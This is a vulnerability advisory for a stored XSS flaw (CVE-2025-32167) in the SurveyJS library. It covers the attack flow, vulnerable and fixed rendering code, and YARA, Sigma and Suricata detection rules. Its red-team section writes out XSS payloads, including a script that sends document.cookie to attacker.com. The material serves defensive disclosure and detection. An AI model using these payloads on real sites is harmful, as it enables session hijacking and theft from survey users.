CVE-2025-32167

Executive Summary

CVE-2025-32167 is a Stored Cross-Site Scripting (XSS) vulnerability in the SurveyJS library by devsoftbaltic, affecting all versions up to and including 1.12.20. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. With a CVSS score of 6.5 (Medium), this flaw can lead to session hijacking, data theft, and defacement within applications that embed SurveyJS. As of this report, no official patch has been released, and no public exploit code or proof-of-concept is available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant for unpatched deployments.

Supply Chain & Package Security

SurveyJS is distributed as an npm package (surveyjs). Organizations using this package in their Node.js or frontend build pipelines should treat this as a supply chain risk. The vulnerable package may be pulled automatically via dependency managers, and without a patched version, teams must implement strict input validation and output encoding at the application layer. Monitor the npm registry for updates and consider pinning to a known-safe version if available.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed to inject.
• User Interaction (UI): Required (R) – Victim must view the stored content.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): Low (L) – Limited service disruption.

Threat Level: Medium. While the CVSS score is 6.5, the lack of a patch and the widespread use of SurveyJS in web surveys and forms elevate the risk for organizations that cannot immediately remediate.

Deep Dive & Mechanics

The vulnerability exists in the SurveyJS library's handling of user input within survey fields (e.g., text inputs, comments, or custom HTML). When a user submits a survey, the library fails to properly sanitize or encode the input before storing it (e.g., in a database or session). When another user (including administrators) views the survey results, the stored payload is rendered in the browser without proper escaping, allowing arbitrary JavaScript execution.

Attack Flow:

1. Attacker identifies a SurveyJS instance (version <= 1.12.20).
2. Attacker submits a survey response containing a malicious payload, such as <script>alert('XSS')</script>.
3. The payload is stored on the server.
4. When an administrator or other user views the survey results, the script executes in their browser context.
5. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The library does not apply context-aware output encoding when rendering stored survey responses. This is a classic Stored XSS pattern (CWE-79).

Vulnerable vs. Patched Code

Since no official patch exists, the following comparison is based on expected remediation.

Vulnerable Code (SurveyJS <= 1.12.20):

// Example of vulnerable rendering function
function renderResponse(response) {
    var container = document.getElementById('response-container');
    container.innerHTML = response.text; // Direct innerHTML assignment without sanitization
}

Patched Code (Expected Fix):

// Example of patched rendering function
function renderResponse(response) {
    var container = document.getElementById('response-container');
    container.textContent = response.text; // Safe assignment using textContent
    // OR use DOMPurify for sanitization
    container.innerHTML = DOMPurify.sanitize(response.text);
}

The fix involves either using textContent instead of innerHTML or applying a robust HTML sanitizer like DOMPurify before inserting user-controlled data into the DOM.

Exploitation & Lab Setup

Red Team

Objective: Demonstrate Stored XSS in a SurveyJS instance.

Prerequisites:

• A SurveyJS instance (version <= 1.12.20) with survey submission and result viewing enabled.
• A web browser with developer tools.

Steps:

1. Navigate to a survey page using SurveyJS.
2. Fill in a text field with the following payload:

   <img src=x onerror=alert(document.cookie)>
   

3. Submit the survey.
4. As an administrator, navigate to the survey results page.
5. Observe the JavaScript alert displaying cookies, confirming XSS.

Advanced Payload (Session Hijacking):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team

Objective: Detect and block Stored XSS attempts against SurveyJS.

Detection:

• Monitor web application logs for suspicious input patterns (e.g., <script>, onerror=, javascript:).
• Use a Web Application Firewall (WAF) with rules to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation on the server side (e.g., strip HTML tags from survey responses).
• Use output encoding when rendering responses (e.g., htmlspecialchars() in PHP, textContent in JavaScript).
• If possible, upgrade to a patched version of SurveyJS once available.

Indicators of Compromise (IOCs)

• Network: HTTP requests containing <script>, onerror, onload, or javascript: in survey submission fields.
• Host: Log entries showing survey responses with HTML tags or JavaScript code.
• Application: Unexpected JavaScript alerts or redirects when viewing survey results.
• File: Modified survey response data in the database containing script tags.

Detection Engineering

YARA Rule

rule Detect_SurveyJS_Stored_XSS_Payload {
    meta:
        description = "Detects potential Stored XSS payloads targeting SurveyJS"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-32167"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=/i
        $xss3 = /onload\s*=/i
        $xss4 = /javascript\s*:/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: SurveyJS Stored XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests containing XSS payloads in SurveyJS survey submissions
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url|contains: '/survey/submit'
        http.body|contains|all:
            - '<script'
            - 'onerror'
    condition: selection
falsepositives:
    - Legitimate use of HTML in survey fields (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32167 SurveyJS Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/survey/submit"; http_uri; content:"<script"; http_client_body; content:"onerror"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Implement server-side validation to strip or encode HTML tags from all survey response fields.
2. Output Encoding: Ensure all survey responses are rendered using safe methods (e.g., textContent in JavaScript, htmlspecialchars() in PHP).
3. Content Security Policy (CSP): Deploy a strict CSP header to block inline scripts and restrict script sources.
4. Web Application Firewall (WAF): Enable XSS protection rules to block malicious payloads.

Long-Term Fix:

• Monitor the SurveyJS npm package for an official patch. Once available, upgrade to the patched version immediately.
• Consider forking the library and applying the fix yourself if the vendor remains unresponsive.

Workaround:

• Disable the display of raw survey responses to non-administrative users until a patch is applied.

Valters IT
DevSecOps & Cyber Threat Intelligence Division